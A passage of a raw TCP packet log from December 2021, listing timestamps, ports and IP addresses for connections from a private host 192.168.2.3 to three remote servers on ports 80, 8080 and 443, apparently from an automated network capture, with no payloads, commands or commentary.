Dec 28, 2021 05:18:59.130542994 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130582094 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130599976 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130621910 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130661964 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130678892 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130702019 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130738974 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130757093 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130778074 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130816936 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130831003 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130853891 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130892038 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130908966 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.130930901 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130968094 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.130985022 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.131006002 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131043911 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131066084 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.131083012 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131123066 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131143093 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.131160021 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131197929 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131237030 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131254911 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.131273985 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131297112 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.131311893 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131350040 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131387949 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131427050 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.131449938 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.177279949 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.180912018 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.180973053 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.182854891 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197381973 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197443962 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197482109 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197521925 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197561026 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197597027 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197635889 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197655916 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197678089 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197693110 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197721004 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197760105 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197798014 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197837114 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197875977 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197881937 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197912931 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197930098 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197952032 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.197979927 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.197990894 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198030949 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198070049 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198106050 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198108912 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198141098 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198148012 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198177099 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198235035 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198237896 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198280096 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198309898 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198348999 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198350906 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198386908 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198388100 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198425055 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198462963 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198493004 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198501110 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198529959 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198539972 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198580980 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198617935 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198642969 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198659897 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198677063 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198698044 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198734999 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198774099 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198795080 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198812008 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198824883 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198851109 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198890924 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198928118 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198949099 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.198966026 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.198980093 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.199004889 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.199042082 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.199079990 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.199083090 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.199117899 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.199141026 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.239770889 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.243299961 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.243359089 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.243560076 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.248627901 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.248672962 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.248799086 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265055895 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265098095 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265127897 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265157938 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265208006 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265248060 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265270948 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265286922 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265305042 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265311956 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265326977 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265364885 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265403032 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265403986 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265440941 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265472889 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265480042 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265518904 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265557051 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265594959 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265618086 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265633106 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265671968 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265711069 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265743017 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265749931 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265782118 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265788078 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265835047 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265851974 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.265872955 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265912056 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265950918 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.265988111 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266025066 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266031981 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266062975 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266099930 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266138077 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266156912 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266175985 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266215086 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266238928 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266254902 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266290903 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266321898 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266350985 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266391039 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266428947 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266465902 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266468048 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266503096 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266506910 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266540051 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266546011 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266586065 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:18:59.266746998 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.266758919 CET	49788	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:18:59.333010912 CET	80	49788	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:00.674880981 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.745305061 CET	80	49789	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:00.745410919 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.745503902 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.745517969 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.816118956 CET	80	49789	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:00.891172886 CET	80	49789	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:00.891279936 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.891439915 CET	49789	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.935497999 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:00.961880922 CET	80	49789	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.006194115 CET	80	49790	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.006302118 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.006444931 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.006458044 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.076945066 CET	80	49790	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.124536037 CET	80	49790	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.127922058 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.128945112 CET	49790	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.163682938 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.199431896 CET	80	49790	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.226972103 CET	80	49791	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.227149010 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.227207899 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.227220058 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.290416956 CET	80	49791	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.340322971 CET	80	49791	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.340487003 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.340547085 CET	49791	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.366750956 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.403950930 CET	80	49791	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.429826021 CET	80	49792	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.429970026 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.430061102 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.430155039 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.493133068 CET	80	49792	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.546601057 CET	80	49792	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.546683073 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.558371067 CET	49792	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:01.573069096 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.621418953 CET	80	49792	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:01.633687019 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.633817911 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.633940935 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.694272041 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695663929 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695719957 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695761919 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695801973 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695838928 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695887089 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695921898 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.695924997 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.695962906 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.695970058 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.696012974 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.696050882 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.696068048 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.696098089 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:01.756377935 CET	8080	49793	185.7.214.171	192.168.2.3
Dec 28, 2021 05:19:01.802459002 CET	49793	8080	192.168.2.3	185.7.214.171
Dec 28, 2021 05:19:02.250154972 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.320979118 CET	80	49794	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.321741104 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.321827888 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.321844101 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.392703056 CET	80	49794	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.443386078 CET	80	49794	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.443500042 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.443730116 CET	49794	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.500730991 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.514107943 CET	80	49794	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.566871881 CET	80	49795	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.566982985 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.567060947 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.567255020 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.633172989 CET	80	49795	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.633219004 CET	80	49795	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.680619001 CET	80	49795	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.680715084 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.683018923 CET	49795	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.748765945 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.748776913 CET	80	49795	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.815521955 CET	80	49796	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.815638065 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.815735102 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.815757036 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.882356882 CET	80	49796	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.933667898 CET	80	49796	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:02.933783054 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.933856010 CET	49796	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:02.991648912 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.000313997 CET	80	49796	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.062467098 CET	80	49797	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.062660933 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.062716961 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.062721968 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.133114100 CET	80	49797	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.182194948 CET	80	49797	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.182362080 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.182512999 CET	49797	80	192.168.2.3	5.188.89.48
Dec 28, 2021 05:19:03.216645956 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.216710091 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.216819048 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.217068911 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.217098951 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.252902985 CET	80	49797	5.188.89.48	192.168.2.3
Dec 28, 2021 05:19:03.267173052 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.267364979 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.269963026 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.269988060 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.270325899 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.292448044 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.324583054 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.324920893 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.324999094 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325038910 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325093031 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325170994 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325247049 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325277090 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325297117 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325345039 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325391054 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325463057 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325473070 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325489044 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325566053 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325577021 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325598955 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325678110 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325685978 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325704098 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325771093 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325784922 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325844049 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325901031 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325917959 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.325937033 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.325999022 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326061964 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326067924 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326092958 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326141119 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326195955 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326252937 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326261044 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326276064 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326349020 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326351881 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326370955 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326421022 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326442003 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326556921 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326618910 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326627970 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326647997 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326716900 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326776981 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326780081 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326796055 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326838970 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.326894045 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.326951981 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327009916 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327016115 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.327028990 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327101946 CET	49798	443	192.168.2.3	162.159.134.233
Dec 28, 2021 05:19:03.327117920 CET	443	49798	162.159.134.233	192.168.2.3
Dec 28, 2021 05:19:03.327177048 CET	443	49798	162.159.134.233	192.168.2.3
